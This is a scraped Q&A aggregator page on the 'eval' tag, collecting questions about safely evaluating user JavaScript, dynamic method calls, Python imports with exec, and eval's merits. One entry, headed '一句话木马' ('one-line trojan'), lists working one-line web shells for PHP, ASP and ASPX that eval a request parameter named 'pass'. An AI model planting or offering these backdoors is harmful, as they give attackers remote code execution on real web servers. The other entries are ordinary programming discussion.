eval

How do I safely “eval” user code in a webpage?

两盒软妹~` 提交于 2019-11-27 18:08:25
问题 I'm working on a webapp to teach programming concepts. Webpages have some text about a programming concept, then let the user type in javascript code into a text editor window to try to answer a programming problem. When the user clicks "submit", I analyse the text they've typed to see if they have solved the problem. For example, I ask them to "write a function named f that adds three to its argument". Here's what I'm doing to analyse the user's text: Run JSLint on the text with strict

How do I dynamically call a JavaScript object's method

折月煮酒 提交于 2019-11-27 16:43:43
问题 I think that I'm missing something very simple here. I want to pass a function an object and the method to call. The reasons why are too long for this post. :-) var myObj = new someObject(); var funcName = "hide"; function callObject(myObj,funcName){ obj.hide(); //this works obj[funcName]; //doesn't work obj.eval(funcName); //doesn't work either.. tried many variations } Thank you! 回答1: You need the parenthesis on the call, like this: obj[funcName](); You can get eval to work like this: eval(

一句话木马

允我心安 提交于 2019-11-27 15:55:41
php   <?php @eval($_post['pass']);?> asp  <% eval request ( "pass")%> aspx   <%@ Page Language= "Jscript"%> <% eval( Request.Item[ "pass"], "unsafe");%> 来源: https://www.cnblogs.com/jiersixi/p/11369311.html

eval to import a module

て烟熏妆下的殇ゞ 提交于 2019-11-27 15:47:48
问题 I can't import a module using the eval() function. So, I have a function where if I do import vfs_tests as v it works. However, the same import using eval() like eval('import vfs_tests as v') throws a syntax error. Why is this so? 回答1: Use exec : exec 'import vfs_tests as v' eval works only on expressions, import is a statement. exec is a function in Python 3 : exec('import vfs_tests as v') To import a module using a string you should use importlib module: import importlib mod = importlib

Is there ever a good reason to use eval()?

南楼画角 提交于 2019-11-27 15:26:50
It seems to me that eval() is treated with the same disdain that goto is. And by eval , I mean a function for executing a string as code, as seen in PHP, Python, JavaScript, etc. Is there ever a situation where using eval() is justified (except perl)? And if not, why do so many languages implement it? Yes - when there is no other way to accomplish the given task with a reasonable level of clarity and within a reasonable number of lines of code. This eliminates 99% of cases where eval is used, across the board in all languages and contexts. eval is often the most expedient solution in

python程序实现温度转换

六月ゝ 毕业季﹏ 提交于 2019-11-27 15:24:59
#实现功能----温度转换 ''' 温度单位 (1) 摄氏度c/C (2) 华氏度f/F 摄氏温度c/C ,将其转化为华氏温度f /F, 转换公式为:f=c*9/5+32. 华氏温度f/F,将其转换为摄氏温度c/C c=(f-32)/1.8 ''' TempStr = input("请输入带符号的温度:") if TempStr[-1] in ['F','f'] : C = (eval(TempStr[0:-1]) - 32)/1.8 print("转换后的温度为{:.2f}C".format(C)) elif TempStr[-1] in ['C','c'] : F = 1.8*eval(TempStr[0:-1]) + 32 print("转换后的温度为{:.2f}F" .format(F)) else: print("温度输入错误") ''' 学习内容 缩进 【代表层次关系】注释【说明】 命名【数字不开头】 变量 保留字【标识符】 数据类型 字符串 整数 浮点数 列表 赋值语句 分支语句 函数 input() print() eval() ''' 来源: https://blog.csdn.net/VictoryKingLIU/article/details/99692021

What's the better practice: eval or append script?

柔情痞子 提交于 2019-11-27 14:47:46
问题 I need to execute a custom piece of JavaScript I got from some AJAX call. I could do an eval of the string or I could just append it in a script -tag to the DOM. Which method would be better? var dynamicScript = 'alert(\'Hello world!\');'; Method 1 - Script : var x = '<script type="text/javascript">' + dynamicScript +'</scr' + 'ipt>'; $(document.body).append(x); Method 2 - Eval : eval(dynamicScript); What method is better and why? Or is there an ever better alternative? 回答1: I prefer eval ,

Specify scope for eval() in JavaScript?

廉价感情. 提交于 2019-11-27 14:37:32
is there any way I can execute eval() on a specific scope (but NOT global) ? for example, the following code doesn't work (a is undefined on the second statement) because they are on different scope: eval(var a = 1); eval(alert(a)); If possible, I would like to create a scope on the fly. for example (the syntax is definitely wrong, but just to illustrate the idea) var scope1; var scope2; with scope1{ eval(var a = 1); eval(alert(a)); // this will alert 1 } with scope2{ eval(var a = 1); eval(a++); eval(alert(a)); // this will alert 2 } with scope1{ eval(a += 2); eval(alert(a)); // this will

How to create an object from a string in Java (how to eval a string)?

那年仲夏 提交于 2019-11-27 14:33:07
I know eval is "evil", but I'm using it in a way that the user can't ever abuse it. Let's say I've got a string "new Integer(5)". I want to do something such that I can set a variable, let's say foo, to new Integer(5). Something like Integer foo; String bar = "new Integer(5)" *magic happens* System.out.println(foo) -> 5 I've looked around and it looks like I have a few options. Can the getSystemJavaCompiler() method in ToolProvider do this? Or should I use BeanShell? Or is there something else? Note that this is from a string, not a file. I would use a scripting language like beanshell, jruby,

Running Python code contained in a string

狂风中的少年 提交于 2019-11-27 14:28:55
I'm writing a game engine using pygame and box2d, and in the character builder, I want to be able to write the code that will be executed on keydown events. My plan was to have a text editor in the character builder that let you write code similar to: if key == K_a: ## Move left pass elif key == K_d: ## Move right pass I will retrieve the contents of the text editor as a string, and I want the code to be run in a method in this method of Character: def keydown(self, key): ## Run code from text editor What's the best way to do that? You can use the eval(string) method to do this. Definition